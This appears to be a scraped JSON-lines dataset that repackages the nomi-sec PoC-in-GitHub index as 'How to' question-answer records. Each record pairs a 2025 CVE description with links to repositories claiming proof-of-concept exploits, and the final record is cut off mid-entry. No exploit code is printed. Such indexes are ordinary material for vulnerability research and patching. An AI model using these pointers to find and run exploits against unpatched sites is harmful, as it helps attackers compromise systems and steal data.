{"id": "gh_39308cd730d7", "question": "How to: CVE-2025-1306 (2025-03-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Newscrunch theme for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.8.4. This is due to missing or incorrect nonce validation on the newscrunch_install_and_activate_plugin() function. This makes it possible for unauthenticated attackers to upload arbitrary files via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n```\n- [Nxploited/CVE-2025-1306](https://github.com/Nxploited/CVE-2025-1306)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152732"}
{"id": "gh_e26cf0abaa8a", "question": "How to: CVE-2025-1323 (2025-03-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WP-Recall – Registration, Profile, Commerce & More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n```\n- [p33d/cve-2025-1323](https://github.com/p33d/cve-2025-1323)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152742"}
{"id": "gh_d908f35b90b1", "question": "How to: CVE-2025-1461 (2025-05-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper neutralization of the value of the 'eventMoreText' property of the 'VCalendar' component in Vuetify allows unsanitized HTML to be inserted into the page. This can lead to a  Cross-Site Scripting (XSS) https://owasp.org/www-community/attacks/xss  attack. The vulnerability occurs because the default Vuetify translator will return the translation key as the translation, if it can't find an actual translation.\\n\\nThis issue affects Vuetify versions greater than or equal to 2.0.0 and less than 3.0.0.\\n\\nNote:\\nVersion 2.x of Vuetify is End-of-Life and will not receive any updates to address this issue. For more information see  here https://v2.vuetifyjs.com/en/about/eol/ .\n```\n- [neverendingsupport/nes-vuetify-cve-2025-1461](https://github.com/neverendingsupport/nes-vuetify-cve-2025-1461)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152753"}
{"id": "gh_fded38273472", "question": "How to: CVE-2025-1562 (2025-06-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_or_activate_addon_plugins() function and a weak nonce hash in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to install arbitrary plugins on the site that can be leveraged to further infect a vulnerable site.\n```\n- [gmh5225/CVE-2025-1562](https://github.com/gmh5225/CVE-2025-1562)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152758"}
{"id": "gh_4f31bd5ce6f7", "question": "How to: CVE-2025-1661 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n```\n- [gbrsh/CVE-2025-1661](https://github.com/gbrsh/CVE-2025-1661)\n- [MuhammadWaseem29/CVE-2025-1661](https://github.com/MuhammadWaseem29/CVE-2025-1661)\n- [shahwarshah/CVE-2025-1661](https://github.com/shahwarshah/CVE-2025-1661)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152769"}
{"id": "gh_b414cb289242", "question": "How to: CVE-2025-1716 (2025-02-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\npicklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.\n```\n- [shybu9/poc_CVE-2025-1716](https://github.com/shybu9/poc_CVE-2025-1716)\n- [0xDaeras/POC_CVE-2025-1716](https://github.com/0xDaeras/POC_CVE-2025-1716)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152775"}
{"id": "gh_f66f067d8747", "question": "How to: CVE-2025-1868 (2025-03-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVulnerability of unauthorized exposure of confidential information affecting Advanced IP Scanner and Advanced Port Scanner. It occurs when these applications initiate a network scan, inadvertently sending the NTLM hash of the user performing the scan. This vulnerability can be exploited by intercepting network traffic to a legitimate server or by setting up a fake server, in both local and remote scenarios. This exposure is relevant for both HTTP/HTTPS and SMB protocols.\n```\n- [itres-labs/CVE-2025-1868](https://github.com/itres-labs/CVE-2025-1868)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152780"}
{"id": "gh_cd240043b846", "question": "How to: CVE-2025-1910 (2025-12-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WatchGuard Mobile VPN with SSL Client on Windows allows a locally \\nauthenticated non-administrative Windows user to escalate their \\nprivileges to NT AUTHORITY/SYSTEM on the Windows machine where the VPN \\nClient is installed.This issue affects the Mobile VPN with SSL Client 12.0 up to and including 12.11.2.\n```\n- [lutrasecurity/CVE-2025-1910-WatchGuard-Privilege-Escalation](https://github.com/lutrasecurity/CVE-2025-1910-WatchGuard-Privilege-Escalation)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152784"}
{"id": "gh_668df1cd0a4d", "question": "How to: CVE-2025-1913 (2025-03-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Product Import Export for WooCommerce – Import Export Product CSV Suite plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.5.0 via deserialization of untrusted input from the 'form_data' parameter This makes it possible for authenticated attackers, with Administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.\n```\n- [S0haib518-KSA/CVE-2025-1913-PoC](https://github.com/S0haib518-KSA/CVE-2025-1913-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152791"}
{"id": "gh_15e3bd89628b", "question": "How to: CVE-2025-1974 (2025-03-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n```\n- [sandumjacob/IngressNightmare-POCs](https://github.com/sandumjacob/IngressNightmare-POCs)\n- [yoshino-s/CVE-2025-1974](https://github.com/yoshino-s/CVE-2025-1974)\n- [yanmarques/CVE-2025-1974](https://github.com/yanmarques/CVE-2025-1974)\n- [Esonhugh/ingressNightmare-CVE-2025-1974-exps](https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps)\n- [dttuss/IngressNightmare-RCE-POC](https://github.com/dttuss/IngressNightmare-RCE-POC)\n- [zwxxb/CVE-2025-1974](https://github.com/zwxxb/CVE-2025-1974)\n- [m-q-t/ingressnightmare-detection-poc](https://github.com/m-q-t/ingressnightmare-detection-poc)\n- [hi-unc1e/CVE-2025-1974-poc](https://github.com/hi-unc1e/CVE-2025-1974-poc)\n- [0xBingo/CVE-2025-1974](https://github.com/0xBingo/CVE-2025-1974)\n- [tuladhar/ingress-nightmare](https://github.com/tuladhar/ingress-nightmare)\n- [rjhaikal/POC-IngressNightmare-CVE-2025-1974](https://github.com/rjhaikal/POC-IngressNightmare-CVE-2025-1974)\n- [zulloper/CVE-2025-1974](https://github.com/zulloper/CVE-2025-1974)\n- [Rubby2001/CVE-2025-1974-go](https://github.com/Rubby2001/CVE-2025-1974-go)\n- [chhhd/CVE-2025-1974](https://github.com/chhhd/CVE-2025-1974)\n- [salt318/CVE-2025-1974](https://github.com/salt318/CVE-2025-1974)\n- [abrewer251/CVE-2025-1974_IngressNightmare_PoC](https://github.com/abrewer251/CVE-2025-1974_IngressNightmare_PoC)\n- [Rickerd12/exploit-cve-2025-1974](https://github.com/Rickerd12/exploit-cve-2025-1974)\n- [Ashwesker/Ashwesker-CVE-2025-1974](https://github.com/Ashwesker/Ashwesker-CVE-2025-1974)\n- [Armand2002/Exploit-CVE-2025-1974-Lab](https://github.com/Armand2002/Exploit-CVE-2025-1974-Lab)\n- [BiiTts/POC-IngressNightmare-CVE-2025-1974](https://github.com/BiiTts/POC-IngressNightmare-CVE-2025-1974)\n- [iteride/CVE-2025-1974](https://github.com/iteride/CVE-2025-1974)\n- [gunyakit/CVE-2025-1974-PoC-exploit](https://github.com/gunyakit/CVE-2025-1974-PoC-exploit)\n- [BoianEduard/CVE-2025-1974](https://github.com/BoianEduard/CVE-2025-1974)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152798"}
{"id": "gh_7339785fccfa", "question": "How to: CVE-2025-2005 (2025-04-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Front End Users plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the file uploads field of the registration form in all versions up to, and including, 3.2.32. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [Nxploited/CVE-2025-2005](https://github.com/Nxploited/CVE-2025-2005)\n- [h4ckxel/CVE-2025-2005](https://github.com/h4ckxel/CVE-2025-2005)\n- [mrmtwoj/CVE-2025-2005](https://github.com/mrmtwoj/CVE-2025-2005)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152804"}
{"id": "gh_f886313710b2", "question": "How to: CVE-2025-2011 (2025-05-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n```\n- [datagoboom/CVE-2025-2011](https://github.com/datagoboom/CVE-2025-2011)\n- [X3RX3SSec/CVE-2025-2011](https://github.com/X3RX3SSec/CVE-2025-2011)\n- [Ashwesker/Ashwesker-CVE-2025-2011](https://github.com/Ashwesker/Ashwesker-CVE-2025-2011)\n- [zsy107u/CVE-2025-2011-poc](https://github.com/zsy107u/CVE-2025-2011-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152810"}
{"id": "gh_e87afe87f31d", "question": "How to: CVE-2025-2025 (2025-03-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the give_reports_earnings() function in all versions up to, and including, 3.22.0. This makes it possible for unauthenticated attackers to disclose sensitive information included within earnings reports.\n```\n- [SuJing-cy/CVE-2025-2025-52691-SmarterMail-Exp](https://github.com/SuJing-cy/CVE-2025-2025-52691-SmarterMail-Exp)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152815"}
{"id": "gh_dfe86fc23e8a", "question": "How to: CVE-2025-2082 (2025-04-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nTesla Model 3 VCSEC Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected Tesla Model 3 vehicles. Authentication is not required to exploit this vulnerability.\\n\\nThe specific flaw exists within the VCSEC module. By manipulating the certificate response sent from the Tire Pressure Monitoring System (TPMS), an attacker can trigger an integer overflow before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the VCSEC module and send arbitrary messages to the vehicle CAN bus. Was ZDI-CAN-23800.\n```\n- [Burak1320demiroz/cve-2025-2082](https://github.com/Burak1320demiroz/cve-2025-2082)\n- [shirabo/cve-2025-2082-POV](https://github.com/shirabo/cve-2025-2082-POV)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152821"}
{"id": "gh_37107781f956", "question": "How to: CVE-2025-2135 (2025-03-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nType Confusion in V8 in Google Chrome prior to 134.0.6998.88 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)\n```\n- [Wa1nut4/CVE-2025-2135](https://github.com/Wa1nut4/CVE-2025-2135)\n- [sangnguyenthien/CVE-2025-2135](https://github.com/sangnguyenthien/CVE-2025-2135)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152825"}
{"id": "gh_e152da29f1c3", "question": "How to: CVE-2025-2249 (2025-03-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe SoJ SoundSlides plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the soj_soundslides_options_subpanel() function in all versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [Nxploited/CVE-2025-2249](https://github.com/Nxploited/CVE-2025-2249)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152830"}
{"id": "gh_2fa180f8ab2b", "question": "How to: CVE-2025-2266 (2025-03-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Checkout Mestres do WP for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the cwmpUpdateOptions() function in versions 8.6.5 to 8.7.5. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n```\n- [Nxploited/CVE-2025-2266](https://github.com/Nxploited/CVE-2025-2266)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152835"}
{"id": "gh_e97a9d4c5525", "question": "How to: CVE-2025-2294 (2025-03-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n```\n- [Nxploited/CVE-2025-2294](https://github.com/Nxploited/CVE-2025-2294)\n- [mrrivaldo/CVE-2025-2294](https://github.com/mrrivaldo/CVE-2025-2294)\n- [rhz0d/CVE-2025-2294](https://github.com/rhz0d/CVE-2025-2294)\n- [romanedutov/CVE-2025-2294](https://github.com/romanedutov/CVE-2025-2294)\n- [Yucaerin/CVE-2025-2294](https://github.com/Yucaerin/CVE-2025-2294)\n- [0xWhoami35/CVE-2025-2294](https://github.com/0xWhoami35/CVE-2025-2294)\n- [r0otk3r/CVE-2025-2294](https://github.com/r0otk3r/CVE-2025-2294)\n- [iteride/CVE-2025-2294](https://github.com/iteride/CVE-2025-2294)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152842"}
{"id": "gh_e28ede7d92ed", "question": "How to: CVE-2025-2301 (2025-07-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAuthorization Bypass Through User-Controlled Key vulnerability in Akbim Software Online Exam Registration allows Exploitation of Trusted Identifiers.This issue affects Online Exam Registration: before 14.03.2025.\n```\n- [sahici/CVE-2025-2301](https://github.com/sahici/CVE-2025-2301)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152847"}
{"id": "gh_601de535e06d", "question": "How to: CVE-2025-2404 (2025-09-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Ubit Information Technologies STOYS allows Cross-Site Scripting (XSS).This issue affects STOYS: from 2 before 20250916.\n```\n- [sahici/CVE-2025-2404](https://github.com/sahici/CVE-2025-2404)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152851"}
{"id": "gh_fa9a290060d1", "question": "How to: CVE-2025-2502 (2025-05-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn improper default permissions vulnerability was reported in Lenovo PC Manager that could allow a local attacker to elevate privileges.\n```\n- [IHK-ONE/CVE-2025-2502](https://github.com/IHK-ONE/CVE-2025-2502)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152855"}
{"id": "gh_6e00be841a75", "question": "How to: CVE-2025-2539 (2025-03-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe File Away plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ajax() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers, leveraging the use of a reversible weak algorithm,  to read the contents of arbitrary files on the server, which can contain sensitive information.\n```\n- [verylazytech/CVE-2025-2539](https://github.com/verylazytech/CVE-2025-2539)\n- [RootHarpy/CVE-2025-2539](https://github.com/RootHarpy/CVE-2025-2539)\n- [Yucaerin/CVE-2025-2539](https://github.com/Yucaerin/CVE-2025-2539)\n- [d4rkh0rse/CVE-2025-2539](https://github.com/d4rkh0rse/CVE-2025-2539)\n- [fazaroot/CVE-2025-2539---File-Away-WordPress-Plugin-Arbitrary-File-Read](https://github.com/fazaroot/CVE-2025-2539---File-Away-WordPress-Plugin-Arbitrary-File-Read)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152861"}
{"id": "gh_a4a770d31483", "question": "How to: CVE-2025-2563 (2025-04-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe User Registration & Membership  WordPress plugin before 4.1.2 does not prevent users to set their account role when the Membership Addon is enabled, leading to a privilege escalation issue and allowing unauthenticated users to gain admin privileges\n```\n- [ubaydev/CVE-2025-2563](https://github.com/ubaydev/CVE-2025-2563)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152866"}
{"id": "gh_069926138a11", "question": "How to: CVE-2025-2594 (2025-04-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe User Registration & Membership WordPress plugin before 4.1.3 does not properly validate data in an AJAX action when the Membership Addon is enabled, allowing attackers to authenticate as any user, including administrators, by simply using the target account's user ID.\n```\n- [ubaydev/CVE-2025-2594](https://github.com/ubaydev/CVE-2025-2594)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152870"}
{"id": "gh_10915de9126f", "question": "How to: CVE-2025-2598 (2025-03-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWhen the AWS Cloud Development Kit (AWS CDK) Command Line Interface (AWS CDK CLI) is used with a credential plugin which returns an expiration property with the retrieved AWS credentials, the credentials are printed to the console output. To mitigate this issue, users should upgrade to version 2.178.2 or later and ensure any forked or derivative code is patched to incorporate the new fixes.\n```\n- [Catnip-Express-Maxim/AWSTESTEXPLOIT](https://github.com/Catnip-Express-Maxim/AWSTESTEXPLOIT)\n- [SallyXVIII/Final-Proj](https://github.com/SallyXVIII/Final-Proj)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152875"}
{"id": "gh_19076e9348ee", "question": "How to: CVE-2025-2748 (2025-03-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.\n```\n- [xirtam2669/Kentico-Xperience-before-13.0.178---XSS-POC](https://github.com/xirtam2669/Kentico-Xperience-before-13.0.178---XSS-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152892"}
{"id": "gh_e0d5dd9e5ffa", "question": "How to: CVE-2025-2775 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality,  allowing for administrator account takeover and file read primitives.\n```\n- [watchtowrlabs/watchTowr-vs-SysAid-PreAuth-RCE-Chain](https://github.com/watchtowrlabs/watchTowr-vs-SysAid-PreAuth-RCE-Chain)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152897"}
{"id": "gh_7049189d6d15", "question": "How to: CVE-2025-2776 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n```\n- [mrk336/From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack](https://github.com/mrk336/From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152901"}
{"id": "gh_521c5689fc26", "question": "How to: CVE-2025-2783 (2025-03-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect handle provided in unspecified circumstances in Mojo in Google Chrome on Windows prior to 134.0.6998.177 allowed a remote attacker to perform a sandbox escape via a malicious file. (Chromium security severity: High)\n```\n- [Alchemist3dot14/CVE-2025-2783](https://github.com/Alchemist3dot14/CVE-2025-2783)\n- [byteReaper77/CVE-2025-2783](https://github.com/byteReaper77/CVE-2025-2783)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152906"}
{"id": "gh_e7ad9f22e3b3", "question": "How to: CVE-2025-2812 (2025-05-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Mydata Informatics Ticket Sales Automation allows Blind SQL Injection.This issue affects Ticket Sales Automation: before 03.04.2025 (DD.MM.YYYY).\n```\n- [sahici/CVE-2025-2812](https://github.com/sahici/CVE-2025-2812)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152916"}
{"id": "gh_b852f6ac5c35", "question": "How to: CVE-2025-2825", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [WOOOOONG/CVE-2025-2825](https://github.com/WOOOOONG/CVE-2025-2825)\n- [punitdarji/crushftp-CVE-2025-2825](https://github.com/punitdarji/crushftp-CVE-2025-2825)\n- [ghostsec420/ShatteredFTP](https://github.com/ghostsec420/ShatteredFTP)\n- [Shivshantp/CVE-2025-2825-CrushFTP-AuthBypass](https://github.com/Shivshantp/CVE-2025-2825-CrushFTP-AuthBypass)\n- [iteride/CVE-2025-2825](https://github.com/iteride/CVE-2025-2825)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152921"}
{"id": "gh_5d7daf50c572", "question": "How to: CVE-2025-2828 (2025-06-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Server-Side Request Forgery (SSRF) vulnerability exists in the RequestsToolkit component of the langchain-community package (specifically, langchain_community.agent_toolkits.openapi.toolkit.RequestsToolkit) in langchain-ai/langchain version 0.0.27. This vulnerability occurs because the toolkit does not enforce restrictions on requests to remote internet addresses, allowing it to also access local addresses. As a result, an attacker could exploit this flaw to perform port scans, access local services, retrieve instance metadata from cloud environments (e.g., Azure, AWS), and interact with servers on the local network. This issue has been fixed in version 0.0.28.\n```\n- [Ashwesker/Ashwesker-CVE-2025-2828](https://github.com/Ashwesker/Ashwesker-CVE-2025-2828)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, 